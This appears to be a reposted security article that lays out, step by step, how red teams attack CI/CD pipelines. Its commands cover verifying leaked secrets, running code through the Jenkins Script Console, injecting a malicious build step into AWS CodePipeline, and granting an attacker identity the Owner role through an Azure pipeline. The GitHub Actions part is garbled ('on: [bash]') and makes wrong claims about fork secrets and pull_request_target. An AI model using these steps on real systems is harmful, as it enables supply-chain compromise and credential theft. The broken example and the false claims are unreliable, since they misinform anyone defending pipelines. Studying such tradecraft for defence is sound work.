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Introduction:
The integration of development, security, and operations (DevSecOps) has accelerated software delivery, but it has also created a new and lucrative attack surface for threat actors. Red Teams are now focusing on CI/CD pipelines, as compromising them can lead to a complete supply chain takeover, allowing attackers to inject malicious code directly into production builds. This article deconstructs the offensive methodology used to map, infiltrate, and exploit these critical automation workflows.
Learning Objectives:
- Understand the core components of a CI/CD pipeline and their associated attack vectors.
- Acquire practical skills for enumerating and gaining initial access to version control and automation platforms.
- Learn exploitation techniques for popular CI/CD services across cloud and on-premise environments.
You Should Know:
1. Initial Reconnaissance: Enumerating Public Code Repositories
The first step in attacking a CI/CD pipeline is often finding exposed secrets and sensitive information in public version control systems. Tools like `git` and `TruffleHog` are essential for this phase.
Cloning a target repository git clone https://github.com/target-org/application.git cd application Scanning commit history for hardcoded secrets trufflehog git https://github.com/target-org/application.git --only-verified
Step-by-step guide: The `git clone` command downloads the entire repository, including its commit history. Attackers then use `TruffleHog` to scan this history for high-entropy strings that match known API key, password, or token patterns. The `–only-verified` flag is critical as it automatically tests found credentials against their respective services (e.g., AWS, GitHub, Slack) to confirm their validity, preventing false positives.
2. Attack Surface Mapping: Discovering CI/CD Assets
Once you have a foothold in the codebase, the next step is to identify all related CI/CD automation files and infrastructure.
Finding CI configuration files in a repository find . -name ".gitlab-ci.yml" -o -name ".github/workflows" -o -name "Jenkinsfile" -o -name "azure-pipelines.yml" -o -name "cloudbuild.yaml" Using grep to search for specific keywords in configuration files grep -r "AWS_ACCESS_KEY_ID|AZURE_CLIENT_ID|GCP_SERVICE_ACCOUNT" . --include=".yml" --include=".yaml" --include=".json"
Step-by-step guide: The `find` command recursively searches the local directory for filenames that are standard for CI/CD tools (GitLab CI, GitHub Actions, Jenkins, Azure Pipelines, Google Cloud Build). Discovering these files reveals the pipeline’s structure. The `grep` command then searches within these and other files for hardcoded cloud credentials, which are a primary target for escalating access.
3. Exploiting Insecure GitHub Actions Workflows
GitHub Actions is a common automation platform. A frequent misconfiguration involves workflows that are triggered by untrusted events, such as a `pull_request` from a fork, allowing code execution in the context of the target repository.
Example of a vulnerable GitHub Actions workflow name: Vulnerable Build on: [bash] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Run a one-line script run: echo "Hello, world!"
Step-by-step guide: This YAML file defines a workflow that triggers on any pull_request. An attacker can fork the repository, modify the code, and open a pull request. The workflow will execute on the target’s runners with the target’s secrets. If the `run:` commands are not properly sanitized, an attacker can inject commands to exfiltrate these secrets. The mitigation is to explicitly specify which branches can trigger builds or use the `pull_request_target` event with extreme caution.
4. Compromising Self-Hosted Jenkins Servers
Jenkins servers often have weak authentication or misconfigured authorization, allowing attackers to execute arbitrary commands on the underlying agent nodes or the controller.
Using curl to interact with the Jenkins Script Console (if authenticated/authorized) curl -X POST --user "username:api_token" "http://jenkins-server:8080/script" --data-urlencode "script=println 'whoami'.execute().text"
Step-by-step guide: This `curl` command sends a Groovy script to the Jenkins Script Console. The script executes the `whoami` command on the Jenkins server’s operating system and returns the result. An attacker with access can use this to achieve remote code execution, pivot to the internal network, and steal secrets from the Jenkins credential store.
5. Leveraging AWS CodePipeline for Persistence
After compromising cloud credentials, an attacker can manipulate an existing AWS CodePipeline to maintain persistence or inject a backdoor.
Using AWS CLI to update a pipeline definition aws codepipeline get-pipeline --name MyFirstPipeline > pipeline-definition.json ... Edit the pipeline-definition.json to include a malicious build step ... aws codepipeline update-pipeline --cli-input-json file://pipeline-definition.json
Step-by-step guide: The attacker first uses the `get-pipeline` command to download the current pipeline’s JSON configuration. They then modify this JSON file to add a malicious step, such as a command that downloads and executes a reverse shell or a crypto miner during every build. Finally, the `update-pipeline` command applies the malicious configuration, ensuring the backdoor is executed with every code change.
6. Exploiting Infrastructure as Code (Terraform)
Terraform state files can contain sensitive data. If these files are stored in a publicly accessible storage bucket, they can be a goldmine for attackers.
Using curl to check for publicly accessible Terraform state curl -s http://s3-bucket/path/to/terraform.tfstate | jq '.resources[] | select(.type=="aws_instance") | .instances[].attributes.private_ip'
Step-by-step guide: This command fetches a remote Terraform state file and parses it with `jq` to extract the private IP addresses of provisioned AWS EC2 instances. An attacker can use this information for network mapping. Furthermore, state files often contain passwords, database connection strings, and other secrets used during provisioning, enabling further lateral movement.
7. Privilege Escalation in Azure DevOps
In Azure DevOps, custom build tasks run with specific permissions. An attacker who can modify a pipeline can leverage these tasks to escalate privileges.
Example Azure Pipeline using a privileged task steps: - task: AzureCLI@2 inputs: azureSubscription: 'My-Service-Connection' scriptType: 'ps' scriptLocation: 'inlineScript' inlineScript: | az role assignment create --assignee <compromised-identity> --role Owner --scope /subscriptions/<subscription-id>
Step-by-step guide: This pipeline step uses the `AzureCLI@2` task, which authenticates using a high-privileged Service Connection. The inline PowerShell script uses the Azure CLI to grant the `Owner` role to a user or service principal controlled by the attacker (<compromised-identity>). This demonstrates how a compromise of the build system can lead to a full compromise of the cloud subscription itself.
What Undercode Say:
- The perimeter has shifted from the network edge to the developer’s commit. A single leaked secret in a now-public repository can be the master key to an entire organization’s digital kingdom.
- Modern Red Teaming is less about brute-forcing firewalls and more about understanding software development workflows and exploiting the inherent trust between integrated systems.
The analysis reveals that offensive security is evolving in lockstep with development practices. The most significant breaches will no longer come from exploiting a single application vulnerability, but from poisoning the well at the source—the CI/CD pipeline. Defenders must adopt a Zero-Trust approach for their build environments, rigorously managing secrets, enforcing mandatory code reviews on pipeline configurations, and continuously auditing permissions for automation services. The assumption that the build system is a trusted entity is the critical flaw being exploited.
Prediction:
The automation and interconnectedness championed by DevSecOps will be its primary vector for large-scale supply chain attacks. We will see a rise in automated “Pipeline Hunter” bots that continuously scan public repositories and CI/CD endpoints for misconfigurations, followed by fully automated exploitation campaigns. This will force a paradigm shift in defense, mandating the use of signed commits, more secure isolated build environments, and AI-assisted code review specifically trained to detect malicious pipeline modifications before they are ever executed.
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IT/Security Reporter URL:
Reported By: Rommel Merch%C3%A1n – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
